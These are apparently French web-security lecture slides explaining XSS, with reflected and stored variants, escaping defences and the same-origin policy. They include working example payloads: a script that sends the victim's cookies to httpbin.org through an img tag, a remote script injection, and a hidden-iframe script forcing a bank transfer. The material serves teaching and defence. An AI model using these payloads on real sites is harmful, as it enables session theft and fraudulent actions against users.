Ne jamais se fier au client
Toutes les données en provenance du client :
- Entêtes HTTP,
- Paramètres de l’URL, query string
- Corps de la requête, données des formulaires,
- Cookies, Storage API,
peuvent contenir des valeurs non valides. Dans les attaques de type XSS :
- Le client est la victime, pas le serveur.
- Les données non-valides sont construites par l’attaquant.
- La victime est persuadée/forcée par l’attaquant à rentrer les données non-valides dans l’application.
- Les données non-valides sont retournées à la victime par le serveur, avec des effets non désirés.
Injection de code HTML
Dans la suite
Clélie est le client, victime des attaques.
Servane est le serveur, contenant une faille XSS.
Athanase est l’attaquant, qui cible Clélie.
Pour démontrer une attaque XSS, on se contente en général de démontrer la possibilité d’exécuter du code JavaScript arbitraire, hors du contrôle du serveur : afficher un popup suffit !
Exemple
Servane utilise une valeur provenant du query string, sans filtrer :
return 'Bonjour ' + $req->query->get('user');
Clélie a l’habitude de visiter http://servane.org/?user=Clélie
Athanase persuade Clélie à visiter une URL spécialement conçue :
Salut Clélie, j’ai trouvé une vidéo trop marante chez Servane :
http://servane.org/?user=<script>alert('XSS reussi !')</script>
Se protéger de XSS
Échapper les caractères spéciaux : <
, >
, &
, "
, '
, …
- Avec la fonction
htmlspecialchars()
de PHP, - Avec la fonction
$app->escape()
de Silex, - Par l’échappement automatique de Twig, ou d’un autre moteur de templates (voir aussi la leçon sur les templates).
Attaques XSS
Cross site scripting
On estime que 80% des failles de sécurité des application web sont des failles XSS.
Que peut-on faire avec XSS ?
- Changer l’apparence d’une page, la défigurer (recerchez Stallowned).
- Rédiriger et phisher.
- Vols des cookies et des données privées !
- Propager l’exploit XSS comme un ver.
- Controler le browser de la victime !!!
Les attaques XSS comportent trois acteurs : le client (la victime), l’attaquant et le serveur.
Elles nécessitent d’une part de social engineering.
XSS permanent et reflété
XSS reflété : Le code est injecté quand le client visite le lien
- Query string
- Formulaires
- Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)
<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />
You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...
XSS permanent : Le code est stocké sur le server (typiquement, dans la BD)
- Billets de blog, forums, …
- Réseaux sociaux.
Palliatif : Cross-domain policy
À aucun moment un script d’un domaine (par ex.
www.hacker.com
) doit pouvoir accéder à partir d’un document au contenu d’un domaine diffèrent (par ex.www.example.com
).
La cross-domain policy est mise en place pour
- Cookies ;
- Requêtes AJAX ;
- Contenu de frames et iframes.
Exceptions (nécessaires)
- Images, audio, vidéos ;
- Scripts ;
- URL des frames et iframes.
Exemple : vol de session
-
L’attaquant dispose de domaines qu’il contrôle, par exemple :
http://cdn.rawgit.com/
,http://httpbin.org/
.
Il sert le script suivant à http://cdn.rawgit.com/defeo/aws-security/master/xss.js
document.body.innerHTML += '<img src="http://httpbin.org/get?ck=' + document.cookie + '">';
Note : ce script est complètement inoffensif si servi par Athanase :
Exemple : vol de session
-
Servane a une faille XSS permanente dans son blog : les commentaires peuvent être injectés avec des balises
<script>
. -
Athanase injecte le code suivant dans
http://blog.servane.org/
<script src="http://cdn.rawgit.com/defeo/aws-security/master/xss.js"></script>
-
Clélie visite le blog de Servane. Le script de Athanase s’exécute, et envoie les cookies de Clélie (y compris son identifiant de session) à
http://httpbin.org
.
Pourquoi <img>
?
La balise <img>
est utilisé souvent pour envoyer des données de la
victime à l’attaquant :
<img src='http://httpbin.org/get?ck={"sessid":"a10340f0e"}' />
- Presque tous les browsers savent la gérer,
- Connexion silencieuse (pas d’interaction utilisateur, pas de confirmation),
- Rarement filtrée,
- Idéale pour une transmission de la victime à l’attaquant.
Autres techniques pour capter les données :
XMLHttpRequest
,- iframes,
- formulaires cachés,
<audio>
,<video>
, …- …
Autre exemple : abus d’identité
- L’attaquant injecte le script dans une page vulnérable et le donne à la victime
http://bank.servane.org/?<script src="http://hacker.com/evil.js"></script>
- Le script ajoute un
<iframe>
caché dans la page du serveur
document.write('<iframe name="hf" style="display:none"></iframe>');
- Après quelques secondes, le script génère une requête à une page sécurisée
function req() {
window.frames.hf.location.href=
'http://bank.servane.org/transfer?to=athanase&amount=10000';
}
setTimeout(req, 5000);
- La réponse à
transfer
est reçue dans l’iframe. Clélie ne s’est aperçue de rien.
Lectures
- Un tutoriel : http://excess-xss.com/,
- Un autre tutoriel par Google,
- Code source des exemples : https://github.com/defeo/aws-security.
- The tangled web: http://lcamtuf.coredump.cx/tangled/,
Outils
- Proxy HTTP : WireShark,
- Proxy HTTP : WebScarab (OWASP),
- Tests de pénetration : Burp Scanner (OWASP),
- Plateforme d’entraînement : WebGoat (OWASP).